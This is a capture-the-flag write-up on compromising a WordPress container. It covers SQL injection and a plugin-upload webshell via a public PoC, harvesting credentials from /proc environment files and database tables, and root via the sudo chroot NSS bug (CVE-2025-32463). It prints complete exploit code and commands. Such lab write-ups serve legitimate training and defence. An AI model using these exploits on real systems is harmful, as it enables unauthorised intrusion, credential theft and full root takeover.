Overview
The box ships a mostly-stock WordPress 7.0.0 install on PHP 8.2 / Apache, running on a Debian Trixie base image, packaged as a Docker/Kubernetes challenge deployment. Initial access comes through a deliberately vulnerable plugin (wp2shell) that hands over a www-data shell. Privilege escalation is the real puzzle: the box is hardened against the usual container-escape and SUID tricks, and the intended path is a real, recent CVE in sudo itself.
Recon
The challenge source was distributed as a zip (boot2root_wordpressed-to-root.zip) containing the Docker build context:
.
├── docker
│ ├── entrypoint.sh
│ ├── install.php
│ └── seed.php
├── docker-compose.yml
├── Dockerfile
└── theme
└── brunnerne-docs
├── footer.php
├── functions.php
├── header.php
├── index.php
└── style.css
Dockerfile pins the interesting versions:
FROM wordpress:7.0.0-php8.2-apache@sha256:0b6e5bf0ed2518696a34ba3812370743b0ad3e2676882967ff5c712e51425c03 AS wordpress-source
FROM debian:trixie-20240408-slim@sha256:70955dce615f114142818e95339f6ae9b461cf424d79d59ca2b04ec725d4dbc8
...
apache2 ca-certificates curl gcc libc6-dev libapache2-mod-php8.2 \
php8.2 php8.2-curl php8.2-gd php8.2-mbstring php8.2-mysql php8.2-xml php8.2-zip sudo
Two details stand out immediately:
-
gccandlibc6-devare installed in the runtime image, not just a build stage. That is a strong hint that compiling a local privilege-escalation PoC on-box is part of the intended path. -
sudois installed, which combined with the previous point points straight at asudolocal-root bug rather than a container escape.
docker-compose.yml also leaks the DB credentials up front (default WordPress dev creds - not the actual privesc path, but useful context):
MARIADB_DATABASE: wordpress
MARIADB_USER: wordpress
MARIADB_PASSWORD: wordpress
MARIADB_ROOT_PASSWORD: rootpassword
docker/entrypoint.sh is the key file for understanding the box's behavior at runtime. On first boot it generates a random WordPress admin account and exports the credentials into the container's environment:
install_wordpress() {
admin_user="brunnerne_$(openssl rand -hex 6)"
admin_password="$(openssl rand -hex 24)"
export BRUNNERNE_ADMIN_USER="$admin_user"
export BRUNNERNE_ADMIN_PASSWORD="$admin_password"
...
}
Because these are exported rather than passed only to the one-off install script, they end up in the environment of every child process spawned afterward - including the Apache/PHP workers. That is the loose thread that eventually pays off (see "Credential and secret hunting" below).
The theme directory brunnerne-docs is deliberately excluded from the chown www-data:www-data sweep the entrypoint runs:
find /var/www/html \
-path /var/www/html/wp-content/themes/brunnerne-docs -prune \
-o -exec chown www-data:www-data {} +
That makes the theme files root-owned but still world-readable - a natural place to go looking for a root-owned/root-executed hook once you have a foothold, though in this run it turned out to be a red herring (no exploitable eval/system/file-write calls were found in functions.php).
Initial Access - wp2shell-poc (CVE-2026-63030 & CVE-2026-60137)
WordPress 7.0.0 is in scope for a real, recent chain. Icex0/wp2shell-poc is a public PoC (not bundled with the challenge - pulled down separately) for an unauthenticated SQL injection in WordPress core that escalates to full RCE:
-
CVE-2026-63030 - unauthenticated blind SQL injection via REST batch route confusion. The
/wp-json/batch/v1endpoint dispatches several sub-requests in one call, tracking the matched handler and the validation result in two parallel arrays indexed by offset. A sub-request whose path failswp_parse_url()gets appended to the validation array but not the handler array, so the arrays desync and a sub-request ends up dispatched under a different sub-request's handler. Nesting the primitive twice bypasses both the REST method allow-list and parameter validation, landing an attacker-controlled string (author_exclude, taken from the users schema but resolved againstWP_Query) directly in a SQL query asauthor__not_in- reachable pre-auth. Affects WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1 (fixed in 6.9.5 / 7.0.2), which lines up exactly with thewordpress:7.0.0-php8.2-apachebase image in the Dockerfile. - CVE-2026-60137 - the second half of the chain, used for the post-exploitation RCE step once admin credentials are recovered from the SQLi.
Usage against the target:
./wp2shell.py check http://target # confirm the injection (time-based, safe)
./wp2shell.py read http://target --preset users # dump user_login / user_pass hashes
./wp2shell.py shell http://target --user admin --password '<recovered>' -i # plugin-upload RCE
read --preset users pulls the admin password hash straight out of the database via the blind SQLi; once that hash is cracked, shell uses the recovered plaintext to log in and drop a plugin webshell for command execution. Running the shell step against the target produced a working reverse shell as www-data:
You have a working reverse shell as www-data (via the wp2shell plugin) inside the challenge container.
The flag is at /root/flag (mode 0600, owned by root).
The landing directory in the shell confirms the plugin-upload delivery described in the PoC:
www-data@...:/var/www/html/wp-content/plugins/wp2shell_72662939$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumeration as www-data
Standard low-priv enumeration came back mostly clean - this box does not want you finding a lazy SUID binary or a writable cron job:
- SUID set: only the standard
sudo,su,mount,passwd, etc. Nothing custom. -
getcap -r / 2>/dev/null- empty, no interesting capabilities. - No world-writable root-owned files.
- No
mysqlclient, nopingon the box. - Hostname pattern (
...-global-9569b6b84-9jlvf) confirms this is a Kubernetes pod, but the service-account token path was empty - no in-cluster API abuse available.
root running point
sudo -V | head -5
Sudo version 1.9.15p5
Sudoers policy plugin version 1.9.15p5
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.15p5
Sudoers audit plugin version 1.9.15p5
sudo 1.9.15p5 is the number that matters - flagged below.
Credential and secret hunting
Since RCE was already available through PHP, I dumped WordPress secrets directly from the DB rather than trying to install a MySQL client:
php -r '
$m = new mysqli("db", "wordpress", "wordpress", "wordpress");
$r = $m->query("SELECT user_login, user_pass FROM wp_users");
while ($row = $r->fetch_assoc()) print_r($row);
'
That confirmed the WordPress-side admin account but didn't give a system credential. The actual find was in /proc/*/environ, where Apache worker processes still carried the admin credentials the entrypoint had exported at install time:
for p in /proc/[0-9]*; do
[ -r "$p/environ" ] && { echo "===== $p ====="; tr '\0' '\n' < "$p/environ" | grep -E 'FLAG|PASS|BRUNNER|CHALLENGE|ROOT|SUDO'; }
done 2>/dev/null
===== /proc/180 =====
BRUNNERNE_ADMIN_USER=brunnerne_dd668ff1ff31
BRUNNERNE_ADMIN_PASSWORD=cbb69521526443f483730062259eb48efb35218a342d30f9
Tempting - but it's a dead end for sudo, since it's only the WordPress login, not a system account credential:
echo 'rootpassword' | sudo -S id # MariaDB root password, wrong scope
echo 'wordpress' | sudo -S id # MariaDB app password, wrong scope
echo '' | sudo -S id # empty, wrong
[sudo] password for www-data: Sorry, try again.
sudo: no password was provided
sudo: 1 incorrect password attempt
sudo -l without a valid password also refuses to reveal anything useful, and www-data has no sudoers entry to fall back on. At this point the box is confirmed to not be about credentialed sudo access - it's about the sudo binary itself.
Privilege Escalation - CVE-2025-32463 (sudo chroot / "chwoot")
sudo 1.9.15p5 falls in the vulnerable range for CVE-2025-32463, disclosed by Rich Mirch (Stratascale CRU) and affecting sudo 1.9.14 through 1.9.17. The --chroot/-R option was changed in 1.9.14 to resolve paths - including /etc/nsswitch.conf - from inside the user-supplied chroot directory before the sudoers policy has been evaluated. Since /etc/nsswitch.conf controls how the C library resolves NSS lookups (like passwd), pointing it at an attacker-controlled shared object gets that object dlopen()'d by the still-privileged sudo process. No sudoers entry and no valid password are required.
Steps:
- Build a malicious NSS module whose constructor runs before
main(), drops a root shell:
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "bash", NULL);
}
- Compile it as a shared object and stage a fake chroot directory pointing
nsswitch.confat it:
cd /tmp
mkdir -p woot/etc libnss_
gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf
cp /etc/group woot/etc/
- Trigger it with
sudo -R:
sudo -R woot woot
Result:
$ sudo -R woot woot
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Root shell, confirmed by id. Grabbing the flag from there:
cd /root
ls
flag
cat flag
brunner{tw0_cv3s_0n3_r00t}
Root Cause Summary
-
Initial access: WordPress core unauthenticated blind SQL injection via REST batch route confusion (CVE-2026-63030), chained through recovered admin credentials into a plugin-upload RCE (CVE-2026-60137) -
wp2shell-pocend to end, giving unauthenticated-to-www-dataRCE. -
Privilege escalation:
sudo 1.9.15p5is vulnerable to CVE-2025-32463 - the-R/--chrootoption lets any local user (no sudoers entry, no password) getsudoto load an attacker-controlled NSS shared library from inside a self-supplied chroot, running arbitrary code as root. -
Fix: upgrade to
sudo >= 1.9.17p1, where the premature chroot path resolution is reverted and--chrootis deprecated outright.
Lessons
- Always check
sudo -V(and any other privileged binary's version) early and cross-reference against recent CVEs before reaching for generic/combined LPE scripts - the version string was available from the first minute on the box. -
gcc/libc6-devbeing present in a runtime image is a strong signal the intended path involves compiling something on-target. - Leaking install-time secrets via
exportin an entrypoint script is a realistic misconfiguration pattern worth checking/proc/*/environfor on any box with RCE, even when the leaked credential itself turns out to be the wrong scope.
Top comments (0)